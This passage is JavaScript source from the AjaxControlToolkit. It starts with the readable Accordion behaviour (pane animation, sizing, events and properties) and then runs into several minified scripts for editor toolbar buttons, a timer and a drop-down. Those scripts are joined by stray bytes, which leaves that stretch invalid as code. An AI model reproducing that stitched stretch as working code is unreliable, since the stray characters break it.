        /// Change the accordion's selected pane to a new index (and optionally show the change).
        /// </summary>
        /// <param name="index" type="Number" integer="true" mayBeNull="false">
        /// Index of the new selected pane
        /// </param>
        /// <param name="animate" type="Boolean" mayBeNull="false">
        /// Whether or not to show the pane change (this is primarily intended to support
        /// restoring _selectedIndex in initialize before any panes have been added)
        /// </param>
        /// <param name="force" type="Boolean" mayBeNull="true" optional="true">
        /// We perform no action (i.e. raising events, animating, etc.) if the two indices represent
        /// the same pane (including the case when we have two different "no pane selected values"
        /// like -1 and -500).  The force flag is used during initialization to skip this check since
        /// we aren't able to determine invalid values yet.
        /// </param>
        /// <returns />

        // Don't bother doing anything if the index didn't change (we actually check the
        // panes so any invalid indices will match because get_Pane() will return null for
        // both of them)
        var lastIndex = this._selectedIndex;
        var currentPane = this.get_Pane(index);
        var lastPane = this.get_Pane(lastIndex);
        if (!force && (currentPane == lastPane)) {
            return;
        }

        // Raise the selectedIndexChanging event but don't change the selected index
        // if the handler set the cancel property to true
        var eventArgs = new AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs(lastIndex, index);
        this.raiseSelectedIndexChanging(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }

        //This sets the header CSS class to the non-selected case.
        if (lastPane) {
            lastPane.header.className = this._headerCssClass;
        }

        //This sets the selected header CSS class if available.
        if (currentPane) {
            currentPane.header.className = (this._headerSelectedCssClass == '') ?
                this._headerCssClass : this._headerSelectedCssClass;
        }

        this._selectedIndex = index;

        // Save the selected pane to preserve on postbacks
        this.set_ClientState(this._selectedIndex);

        // Animate the pane changes if required
        if (animate) {
            this._changePanes(lastIndex);
        }

        // Raise the selectedIndexChanged event and the propertyChanged event.  We include
        // both events because many users have expressed that the propertyChanged event is
        // not discoverable.
        this.raiseSelectedIndexChanged(new AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs(lastIndex, index));
        this.raisePropertyChanged('SelectedIndex');
    },

    _changePanes: function(lastIndex) {
        /// <summary>
        /// The _changePanes function is used to animate the change between two panes when
        /// the selected index changes.  We will loop through each pane and get its
        /// animation (or demand create it if it doesn't have one yet), stop playing it if
        /// it's currently playing, change its parameters to either open or close, and then
        /// animate it.  Because we have an animation for each pane and we stop them if they
        /// were already playing, the Accordion has the ability to nicely change panes
        /// again before the animation is finished.
        /// </summary>
        /// <param name="lastIndex" type="Number" integer="true" mayBeNull="false">
        /// Index of the last selected Accordion pane
        /// </param>
        /// <returns />

        if (!this.get_isInitialized()) {
            return;
        }

        var open = null;
        var close = null;
        for (var i = 0; i < this._panes.length; i++) {
            // Get the animation for each pane (creating it on demand if it doesn't
            // already exist)
            var pane = this._panes[i];
            var animation = this._getAnimation(pane);

            // Stop any animations that are still playing (i.e. that haven't finished
            // opening or closing from changing previous panes)
            if (animation.get_isPlaying()) {
                animation.stop();
            }

            // If we're not opening or closing the current pane, then restart the loop.
            // We set the _opening flag so we don't have to keep checking if we're opening
            // or closing.  If opening, we also set the display style of the pane's content
            // so it will be visible for the animation
            if (i == this._selectedIndex) {
                animation._opening = true;
                open = animation;
            } else if (i == lastIndex) {
                animation._opening = false;
                close = animation;
            } else {
                continue;
            }

            // Get the pane ready to be animated by setting 
            this._startPaneChange(pane, animation._opening);


            // Setup the fade effect if we are using it
            if (this._fadeTransitions) {
                animation._fade.set_effect(animation._opening ? AjaxControlToolkit.Animation.FadeEffect.FadeIn : AjaxControlToolkit.Animation.FadeEffect.FadeOut);
            }

            // Set the length animation to either open or close depending on whether or
            // not this is the selected pane.  We also change the target to be the wrapper
            // or the original pane depending on whether the AutoSize mode is set to Fill
            // (because we need the background color, etc., to grow with the animation
            // which means changing the size of the original, not the wrapper, should grow).
            // We would prefer to animate the wrapper because it can collapse all the way to
            // 0px while the original can only collapse it's content size to 0px (leaving any
            // padding, margins, borders, etc.) which is why we need to factor in the size of
            // the original div's gutter pixels.  Animating the original content will also
            // cause the animation to jump slightly at the end when it collapses smoothly down
            // to the gutter pixels but then sets display: none and disappears.
            if (this._autoSize === AjaxControlToolkit.AutoSize.Fill) {
                animation.set_target(pane.content._original);
                animation._length.set_startValue($common.getContentSize(pane.content._original).height);
                animation._length.set_endValue(animation._opening ? this._getRemainingHeight(true) : 0);
            } else {
                animation.set_target(pane.content);
                animation._length.set_startValue(pane.content.offsetHeight);
                animation._length.set_endValue(animation._opening ? this._getRemainingHeight(false) : 0);
            }
        }

        // Play the animations to open the selected pane/close any other panes.  Note that we
        // pulled playing the animations out of the loop so that we could always play the
        // closing animation first.  If you play the opening animation first, in some cases the
        // accordion will always grow slightly larger (shifting the rest of the page down) and
        // then shrink again because the animations are running on different timers (and
        // unifying them into a single animation would be a lot messier than the current
        // implementation since they won't both play when we're closing the currently open pane).
        if (close) {
            close.play();
        }
        if (open) {
            open.play();
        }

        // TODO: Someday get both animations to run on the same timer because it makes an obvious
        // difference in IE6 and Safari
    },

    _startPaneChange: function(pane, opening) {
        /// <summary>
        /// Setup the pane before it is animated.
        /// </summary>
        /// <param name="pane" type="Object" mayBeNull="false">
        /// Pane that is being animated
        /// </param>
        /// <param name="opening" type="Boolean" mayBeNull="false">
        /// Whether or not the pane is being opened or closed
        /// </param>
        /// <returns />

        var wrapper = pane.content;
        var original = wrapper._original;

        if (opening) {
            // Make the hidden panes visible so we can see them animate
            wrapper.style.display = 'block';

            // Workaround for IE8 to preserve the margins of the accordion headers
            if (this._autoSize === AjaxControlToolkit.AutoSize.Fill && this._isIE8InStandardMode) {
                original.style.display = 'block';
            }
        } else {
            // Hide any overflow because we'll be shrinking the wrapper div down to 0px and
            // we don't want content leaking out the bottom
            wrapper.style.overflow = 'hidden';

            // Turn off overflow on the original div because it's content doesn't grow during
            // the animation and leaving it on slows the animation down
            original.style.overflow = 'hidden';

            // Remove any explicit height off the original content section but manually set
            // the wrapper to the initial height (since it will be shrunk from this height
            // to zero)
            if (this._autoSize === AjaxControlToolkit.AutoSize.Limit) {
                wrapper.style.height = this._getTotalSize(original).height + 'px';
                original.style.maxHeight = '';
            }
        }
    },

    _endPaneChange: function(pane, opening) {
        /// <summary>
        /// Clean the pane up after it's been animated.
        /// </summary>
        /// <param name="pane" type="Object" mayBeNull="false">
        /// Pane that is being animated
        /// </param>
        /// <param name="opening" type="Boolean" mayBeNull="false">
        /// Whether or not the pane is being opened or closed
        /// </param>
        /// <returns />

        var wrapper = pane.content;
        var original = wrapper._original;

        if (opening) {
            // Depending on the mode, move the explicit height value from the original
            // content div to the wrapper div.  This is necessary because we moved the
            // explicit height value to the wrapper before the animation started since
            // it was the target.
            if (this._autoSize === AjaxControlToolkit.AutoSize.Limit) {
                var remaining = this._getRemainingHeight(true);
                original.style.maxHeight = remaining + 'px';
            }

            // Turn overflow back on so the original div's content can grow accordingly
            original.style.overflow = 'auto';

            // Remove an explicit height from the wrapper div so that it will
            // automatically grow and shrink with the original content div
            wrapper.style.height = 'auto';
            wrapper.style.overflow = 'auto';
        } else {
            // If we finished a close animation, completely hide the pane so that
            // it's content cannot be tabbed into

            if (!this._isIE8InStandardMode) {
                wrapper.style.display = 'none';
            } else {
                // Workaround for IE8 to preserve the margins of the accordion headers
                if (this._autoSize === AjaxControlToolkit.AutoSize.Fill) {
                    original.style.display = 'none';
                } else {
                    wrapper.style.height = '0px';
                }
            }
        }
    },

    _getHeadersSize: function() {
        /// <summary>
        /// Compute the size of all the header sections
        /// </summary>
        /// <returns type="Object" mayBeNull="false">
        /// Size of all header sections (of the form {width, height}).
        /// </returns>

        // Compute the amount of space used by all the headers
        var total = { width: 0, height: 0 };
        for (var i = 0; i < this._panes.length; i++) {
            var size = this._getTotalSize(this._panes[i].header);
            total.width = Math.max(total.width, size.width);
            total.height += size.height;
        }
        return total;
    },

    _getRemainingHeight: function(includeGutter) {
        /// <summary>
        /// Determine how much remaining height we have to fill with the currently selected
        /// pane's content section after taking into account all the headers.  This is primarily
        /// used for the Limit and Fill AutoSize modes.
        /// </summary>
        /// <param name="includeGutter" type="Boolean" mayBeNull="false">
        /// Whether or not we should include the gutter (padding, borders, margins) of the
        /// selected pane's original content section.  This should be true whenever we're
        /// getting the remaining height for the original content section and false whenever
        /// we're getting the remaining height for its wrapper.
        /// </param>
        /// <returns type="Number" integer="true">
        /// Remaining height after all the headers have been accounted for
        /// </returns>    

        var height = 0;
        var pane = this.get_Pane();

        if (this._autoSize === AjaxControlToolkit.AutoSize.None) {
            // If the AutoSize mode is "None", then we use the size of the pane
            if (pane) {
                height = this._getTotalSize(pane.content._original).height;
            }
        } else {
            // Compute the amount of space used
            height = this._headersSize;
            if (includeGutter && pane) {
                height += this._getGutterSize(pane.content._original).height;
            }

            // Determine how much of the remaining space to use
            // (if AutoSize is "Fill", use the rest of the available space)
            var accordion = this.get_element();
            height = Math.max(accordion.offsetHeight - height, 0);

            // If AutoSize is "Limit", then the size of the pane should be either its
            // actual size, or the rest of the available space.
            if (pane && (this._autoSize === AjaxControlToolkit.AutoSize.Limit)) {
                var required = this._getTotalSize(pane.content._original).height;
                // Ensure we return a number greater than or equal to zero
                if (required > 0) {
                    height = Math.min(height, required);
                }
            }
        }

        return height;
    },

    _getTotalSize: function(element) {
        /// <summary>
        /// Get the total size of an element, including its margins
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Element
        /// </param>
        /// <returns type="Object">
        /// Total size of the element (in the form {width, height})
        /// </returns>

        var size = $common.getSize(element);
        var box = $common.getMarginBox(element);
        size.width += box.horizontal;
        size.height += box.vertical;
        return size;
    },

    _getGutterSize: function(element) {
        /// <summary>
        /// Get the extra "gutter" size around an element made up of its padding,
        /// borders, and margins.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Element
        /// </param>
        /// <returns type="Object">
        /// Size of the extra space (in the form of {height, width})
        /// </returns>

        var gutter = { width: 0, height: 0 };

        try {
            var box = $common.getPaddingBox(element);
            gutter.width += box.horizontal;
            gutter.height += box.vertical;
        } catch (ex) { }

        try {
            var box = $common.getBorderBox(element);
            gutter.width += box.horizontal;
            gutter.height += box.vertical;
        } catch (ex) { }

        var box = $common.getMarginBox(element);
        gutter.width += box.horizontal;
        gutter.height += box.vertical;

        return gutter;
    },

    add_selectedIndexChanging: function(handler) {
        /// <summary>
        /// Add an event handler for the selectedIndexChanging event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('selectedIndexChanging', handler);
    },
    remove_selectedIndexChanging: function(handler) {
        /// <summary>
        /// Add an event handler for the selectedIndexChanging event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('selectedIndexChanging', handler);
    },
    raiseSelectedIndexChanging: function(eventArgs) {
        /// <summary>
        /// Raise the selectedIndexChanging event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs" mayBeNull="false">
        /// Event arguments for the selectedIndexChanging event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('selectedIndexChanging');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_selectedIndexChanged: function(handler) {
        /// <summary>
        /// Add an event handler for the selectedIndexChanged event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('selectedIndexChanged', handler);
    },
    remove_selectedIndexChanged: function(handler) {
        /// <summary>
        /// Add an event handler for the selectedIndexChanged event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('selectedIndexChanged', handler);
    },
    raiseSelectedIndexChanged: function(eventArgs) {
        /// <summary>
        /// Raise the selectedIndexChanged event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs" mayBeNull="false">
        /// Event arguments for the selectedIndexChanged event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('selectedIndexChanged');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    get_Pane: function(index) {
        /// <summary>
        /// Get a specific Accordion pane given its index.  If no index is provided, get
        /// the currently selected pane.
        /// </summary>
        /// <param name="index" type="Number" integer="true" mayBeNull="true">
        /// Index of the desired Accordion pane.  If the index is not provided, we use
        /// the currently selected index.  In the event the provided index (or the currently
        /// selected index) is outside the bounds of the panes collection, we return null.
        /// </param>
        /// <returns type="Object" mayBeNull="true">
        /// The desired pane object, or null if outside the the bounds of the _panes array.
        /// The pane is an object of the form {header, content, animation} corresponding to
        /// that pane's header section, content section, and the animation used to open and
        /// close its content section.  The content element is a new div that has been
        /// created to wrap the original div (so we can completely collapse it - even if it
        /// has padding, margins, etc.) which is pointed to by a dynamic _original property.
        /// The header element has a dynamic _index property indicating its position in the
        /// Accordion's pane collection (used primarily by the headers' shared click handler).
        /// Furthermore, the animation will either be an instance of LengthAnimation or
        /// ParallelAnimation (in the latter case, it will have two children which are a
        /// LengthAnimation and a FadeAnimation).  There will be two dynamic properties
        /// _length and _fade pointing to each of these children (to easily set the length
        /// and fadeEffect properties).  There is also a dynamic _ended property which is an
        /// event handler to be fired when the animation is complete, a dynamic _opening
        /// property to indicate whether the animation was opening or closing the pane, and
        /// a dynamic _pane property to provide a reference to the pane that was being
        /// animated.
        /// </returns>

        if (index === undefined || index === null) {
            index = this._selectedIndex;
        }
        return (this._panes && index >= 0 && index < this._panes.length) ? this._panes[index] : null;
    },

    get_Count: function() {
        /// <value type="Number" integer="true" mayBeNull="false">
        /// Number of Accordion panes
        /// </summary>
        return this._panes ? this._panes.length : 0;
    },

    get_TransitionDuration: function() {
        /// <value type="Number">
        /// Length of time to transition between Accordion sections in
        /// milleseconds.  The default value is 250ms.
        /// </value>
        return this._duration * 1000;
    },
    set_TransitionDuration: function(value) {
        if (this._duration != (value / 1000)) {
            this._duration = value / 1000;
            for (var i = 0; i < this._panes.length; i++) {
                var animation = this._panes[i].animation;
                if (animation) {
                    animation.set_duration(this._duration);
                }
            }
            this.raisePropertyChanged('TransitionDuration');
        }
    },

    get_FramesPerSecond: function() {
        /// <value type="Number" integer="true">
        /// Number of steps per second in the transition animations.
        /// The default value is 30 frames per second.
        /// </value>
        return this._framesPerSecond;
    },
    set_FramesPerSecond: function(value) {
        if (this._framesPerSecond != value) {
            this._framesPerSecond = value;
            for (var i = 0; i < this._panes.length; i++) {
                var animation = this._panes[i].animation;
                if (animation) {
                    animation.set_fps(this._framesPerSecond);
                }
            }
            this.raisePropertyChanged('FramesPerSecond');
        }
    },

    get_FadeTransitions: function() {
        /// <value type="Boolean">
        /// Whether or not to fade the accordion panes when transitioning
        /// </value>
        return this._fadeTransitions;
    },
    set_FadeTransitions: function(value) {
        if (this._fadeTransitions != value) {
            this._fadeTransitions = value;

            // Whenever we toggle FadeTransitions we dispose the entire list of
            // animations because it's not easy to selectively play just one of a
            // ParallelAnimation's children...  This is of course just a temporary
            // workaround until we enable generic animations and remove the
            // FadeTransitions property.
            this._disposeAnimations();

            // Set all the content sections to 100% opacity in case they had been
            // faded out when a pane was changed but not faded back in yet
            if (!this._fadeTransitions) {
                for (var i = 0; i < this._panes.length; i++) {
                    if ($common.getElementOpacity(this._panes[i].content) != 1) {
                        $common.setElementOpacity(this._panes[i].content, 1);
                    }
                    if ($common.getElementOpacity(this._panes[i].content._original) != 1) {
                        $common.setElementOpacity(this._panes[i].content._original, 1);
                    }
                }
            }
            this.raisePropertyChanged('FadeTransitions');
        }
    },

    get_HeaderCssClass: function() {
        /// <summary>
        /// This is the CSS class applied to each header.
        /// </summary>
        return this._headerCssClass;
    },

    set_HeaderCssClass: function(value) {
        this._headerCssClass = value;
        this.raisePropertyChanged('HeaderCssClass');
    },

    get_HeaderSelectedCssClass: function() {
        /// <summary>
        /// This is the CSS class applied to the selected header.
        /// </summary>
        return this._headerSelectedCssClass;
    },

    set_HeaderSelectedCssClass: function(value) {
        this._headerSelectedCssClass = value;
        this.raisePropertyChanged('HeaderSelectedCssClass');
    },

    get_ContentCssClass: function() {
        /// <summary>
        /// This is the CSS class applied to each content section.
        /// </summary>
        return this._contentCssClass;
    },

    set_ContentCssClass: function(value) {
        this._contentCssClass = value;
        this.raisePropertyChanged('ContentCssClass');
    },

    get_AutoSize: function() {
        /// <value type="AjaxControlToolkit.AutoSize">
        /// AutoSize mode
        /// </value>
        return this._autoSize;
    },
    set_AutoSize: function(value) {
        // In IE, treat AutoSize.Limit exactly the same as AutoSize.Fill.  Since IE does not
        // support the max-height CSS property, we can't achieve the Limit auto-size behavior
        // without fixing the exact size of the pane (which means it can't grow/shrink in response
        // to dynamic content changes).  Since Fill has most of the same UI characteristics, it's
        // a safer and cleaner workaround for this one browser.
        if (Sys.Browser.agent === Sys.Browser.InternetExplorer && value === AjaxControlToolkit.AutoSize.Limit) {
            value = AjaxControlToolkit.AutoSize.Fill;
        }

        if (this._autoSize != value) {
            this._autoSize = value;
            this._initializeLayout();
            this.raisePropertyChanged('AutoSize');
        }
    },

    get_SelectedIndex: function() {
        /// <value type="Number" integer="true">
        /// Index of the currently selected Accordion section
        /// </value>
        return this._selectedIndex;
    },
    set_SelectedIndex: function(value) {
        this._changeSelectedIndex(value, true);
    },

    get_requireOpenedPane: function() {
        /// <value type="Boolean">
        /// Whether or not clicking the header will close the currently opened pane
        /// (which leaves all the Accordion's panes closed)
        /// </value>
        return this._requireOpenedPane;
    },
    set_requireOpenedPane: function(value) {
        if (this._requireOpenedPane != value) {
            this._requireOpenedPane = value;
            this.raisePropertyChanged('requireOpenedPane');
        }
    },

    get_suppressHeaderPostbacks: function() {
        /// <value type="Boolean">
        /// Whether or not we suppress the client-side click handlers of any elements
        /// (including server controls like Button or HTML elements like anchor) in the
        /// header sections of the Accordion.
        /// </value>
        return this._suppressHeaderPostbacks;
    },
    set_suppressHeaderPostbacks: function(value) {
        if (this._suppressHeaderPostbacks != value) {
            this._suppressHeaderPostbacks = value;
            this.raisePropertyChanged('suppressHeaderPostbacks');
        }
    }
}
AjaxControlToolkit.AccordionBehavior.registerClass('AjaxControlToolkit.AccordionBehavior', AjaxControlToolkit.BehaviorBase);
/Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.prototype={checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.callBaseMethod(this,"checkState"))return false;return this._designPanel._textAlignState("")},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("Paragraph")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);UType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.prototype={checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.callBaseMethod(this,"checkState"))return false;return this._designPanel._textAlignState("center")},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("JustifyCenter")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);,Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator.prototype={isImage:function(){return false}};AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator",AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton.initializeBase(this,[a]);this._designPanel=null};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton.prototype={_onmousedown:function(c){var a=false,b=this;if(b._designPanel==null)return a;if(b._designPanel.isPopup())return a;if(AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton.callBaseMethod(b,"_onmousedown",[c])===null)return a;b.callMethod();return a},onEditPanelActivity:function(){this._designPanel=this._editPanel.get_activePanel()},callMethod:function(){if(this._designPanel==null)return false;if(this._designPanel.isPopup())return false;return true}};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton);}Type.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs=function(d,c,b){var a=this;if(arguments.length!=3)throw Error.parameterCount();AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs.initializeBase(a);a._oldMode=d;a._newMode=c;a._editPanel=b};AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs.prototype={get_oldMode:function(){return this._oldMode},get_newMode:function(){return this._newMode},get_editPanel:function(){return this._editPanel}};AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs.registerClass("AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs",Sys.EventArgs);jSys.Timer=function(){var a=this;Sys.Timer.initializeBase(a);a._interval=1e3;a._enabled=false;a._timer=null};Sys.Timer.prototype={get_interval:function(){return this._interval},set_interval:function(b){var a=this;if(a._interval!==b){a._interval=b;a.raisePropertyChanged("interval");if(!a.get_isUpdating()&&a._timer!==null){a._stopTimer();a._startTimer()}}},get_enabled:function(){return this._enabled},set_enabled:function(b){var a=this;if(b!==a.get_enabled()){a._enabled=b;a.raisePropertyChanged("enabled");if(!a.get_isUpdating())if(b)a._startTimer();else a._stopTimer()}},add_tick:function(a){this.get_events().addHandler("tick",a)},remove_tick:function(a){this.get_events().removeHandler("tick",a)},dispose:function(){this.set_enabled(false);this._stopTimer();Sys.Timer.callBaseMethod(this,"dispose")},updated:function(){var a=this;Sys.Timer.callBaseMethod(a,"updated");if(a._enabled){a._stopTimer();a._startTimer()}},_timerCallback:function(){var a=this.get_events().getHandler("tick");a&&a(this,Sys.EventArgs.Empty)},_startTimer:function(){var a=this;a._timer=window.setInterval(Function.createDelegate(a,a._timerCallback),a._interval)},_stopTimer:function(){window.clearInterval(this._timer);this._timer=null}};Sys.Timer.descriptor={properties:[{name:"interval",type:Number},{name:"enabled",type:Boolean}],events:[{name:"tick"}]};Sys.Timer.registerClass("Sys.Timer",Sys.Component);o.Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.DropDownBehavior=function(c){var b=null,a=this;AjaxControlToolkit.DropDownBehavior.initializeBase(a,[c]);a._dropDownControl=b;a._highlightBorderColor="#2353B2";a._highlightBackgroundColor="#FFF3DB";a._dropArrowBackgroundColor="#C6E1FF";a._dropArrowImageUrl=b;a._dropArrowWidth="16px";a._oldBackgroundColor=b;a._dropFrame=b;a._dropArrow=b;a._dropArrowImage=b;a._dropWrapper=b;a._isOpen=false;a._isOver=false;a._wasClicked=b;a._dropWrapperHoverBehavior=b;a._dropPopupPopupBehavior=b;a._onShowJson=b;a._onHideJson=b;a._dropDownControl$delegates={click:Function.createDelegate(a,a._dropDownControl_onclick),contextmenu:Function.createDelegate(a,a._dropDownControl_oncontextmenu)};a._dropFrame$delegates={click:Function.createDelegate(a,a._dropFrame_onclick),contextmenu:Function.createDelegate(a,a._dropFrame_oncontextmenu)};a._dropWrapper$delegates={click:Function.createDelegate(a,a._dropWrapper_onclick),contextmenu:Function.createDelegate(a,a._dropWrapper_oncontextmenu)};a._document$delegates={click:Function.createDelegate(a,a._document_onclick),contextmenu:Function.createDelegate(a,a._document_oncontextmenu)};a._dropWrapperHoverBehavior$delegates={hover:Function.createDelegate(a,a._dropWrapperHoverBehavior_onhover),unhover:Function.createDelegate(a,a._dropWrapperHoverBehavior_onunhover)}};AjaxControlToolkit.DropDownBehavior.prototype={initialize:function(){var h="_dropWrapper",g="ajax__dropdown_arrow",d="ajax__dropdown_frame_line",b="div",c=null,a=this;AjaxControlToolkit.DropDownBehavior.callBaseMethod(a,"initialize");var e=a.get_element(),i=e.parentNode;a._dropDownControl==c&&$common.createElementFromTemplate({parent:i,nameTable:a,name:"_dropDownControl",nodeName:b,visible:false,cssClasses:a._dropDownControl?c:["ajax__dropdown_panel"],properties:{__GENERATED:true}});$addHandlers(a._dropDownControl,a._dropDownControl$delegates);var f={};if(a._dropArrowImageUrl)f["src"]=a._dropArrowImageUrl;$common.createElementFromTemplate({parent:i,nameTable:a,name:"_dropFrame",nodeName:"span",visible:false,children:[{name:"_dropFrameTop",nodeName:b,cssClasses:[d]},{name:"_dropFrameRight",nodeName:b,cssClasses:[d]},{name:"_dropFrameBottom",nodeName:b,cssClasses:[d]},{name:"_dropFrameLeft",nodeName:b,cssClasses:[d]},{name:"_dropArrow",nodeName:b,cssClasses:!a._dropArrowImageUrl?[g,"ajax__dropdown_arrow_image"]:[g],properties:{style:{width:a._dropArrowWidth,backgroundColor:a._dropArrowBackgroundColor}},events:a._dropFrame$delegates,children:[{name:"_dropArrowWrapper",nodeName:b,visible:!!a._dropArrowImageUrl,cssClasses:["ajax__dropdown_arrow_wrapper"],children:[{name:"_dropArrowImage",nodeName:"img",properties:f}]}]}]});$common.createElementFromTemplate({parent:c,nameTable:a,name:h,nodeName:"span",properties:{id:e.id+h,style:{cursor:"default"}},events:a._dropWrapper$delegates,content:e});a._dropPopupPopupBehavior=$create(AjaxControlToolkit.PopupBehavior,{positioningMode:AjaxControlToolkit.PositioningMode.BottomRight,parentElement:e,y:-1},c,c,a._dropDownControl);a._onShowJson&&a._dropPopupPopupBehavior.set_onShow(a._onShowJson);a._onHideJson&&a._dropPopupPopupBehavior.set_onHide(a._onHideJson);a._dropWrapperHoverBehavior=$create(AjaxControlToolkit.HoverBehavior,{hoverElement:a._dropFrame},a._dropWrapperHoverBehavior$delegates,c,a._dropWrapper);$addHandlers(document,a._document$delegates)},dispose:function(){var b=null,a=this,c=a.get_element();if(a._isOpen){a.hide();a.unhover();a._isOpen=false}$common.removeHandlers(document,a._document$delegates);a._onShowJson=b;a._onHideJson=b;if(a._dropPopupPopupBehavior){a._dropPopupPopupBehavior.dispose();a._dropPopupPopupBehavior=b}if(a._dropWrapperHoverBehavior){a._dropWrapperHoverBehavior.dispose();a._dropWrapperHoverBehavior=b}if(a._dropFrame){$common.removeElement(a._dropFrame);a._dropFrame=b;a._dropFrameTop=b;a._dropFrameRight=b;a._dropFrameBottom=b;a._dropFrameLeft=b;a._dropArrow=b;a._dropArrowWrapper=b;a._dropArrowImage=b}if(a._dropWrapper){$common.removeHandlers(a._dropWrapper,a._dropWrapper$delegates);$common.unwrapElement(c,a._dropWrapper);a._dropWrapper=b}if(a._dropDownControl){$common.removeHandlers(a._dropDownControl,a._dropDownControl$delegates);a._dropDownControl.__GENERATED&&$common.removeElement(a._dropDownControl);a._dropDownControl=b}AjaxControlToolkit.DropDownBehavior.callBaseMethod(a,"dispose")},hover:function(){var a=this,c=a.get_element();if(!a._isOver){a._isOver=true;a.raiseHoverOver(Sys.EventArgs.Empty);var b=$common.getBounds(c);$common.setLocation(a._dropFrame,{x:0,y:0});$common.setVisible(a._dropFrame,true);var d=$common.getLocation(a._dropFrame);$common.setVisible(a._dropFrame,false);b.x-=d.x;b.y-=d.y;$common.setBounds(a._dropFrameTop,{x:b.x,y:b.y,width:b.width,height:1});$common.setBounds(a._dropFrameRight,{x:b.x+b.width-1,y:b.y,width:1,height:b.height});$common.setBounds(a._dropFrameBottom,{x:b.x,y:b.y+b.height-1,width:b.width,height:1});$common.setBounds(a._dropFrameLeft,{x:b.x,y:b.y,width:1,height:b.height});$common.setBounds(a._dropArrow,{x:b.x+b.width-17,y:b.y+1,width:16,height:b.height-2});a._dropFrameTop.style.backgroundColor=a._highlightBorderColor;a._dropFrameRight.style.backgroundColor=a._highlightBorderColor;a._dropFrameBottom.style.backgroundColor=a._highlightBorderColor;a._dropFrameLeft.style.backgroundColor=a._highlightBorderColor;$common.setVisible(a._dropFrame,true);if(!a._oldBackgroundColor)a._oldBackgroundColor=$common.getCurrentStyle(c,"backgroundColor");c.style.backgroundColor=a._highlightBackgroundColor}},unhover:function(){var a=this,b=a.get_element();if(a._isOver||!a._isOpen){a._isOver=false;if(!a._isOpen){$common.setVisible(a._dropFrame,false);if(a._oldBackgroundColor){b.style.backgroundColor=a._oldBackgroundColor;a._oldBackgroundColor=null}else b.style.backgroundColor="transparent"}a.raiseHoverOut(Sys.EventArgs.Empty)}},show:function(){var a=this;if(!a._isOpen){a.hover();var b=new 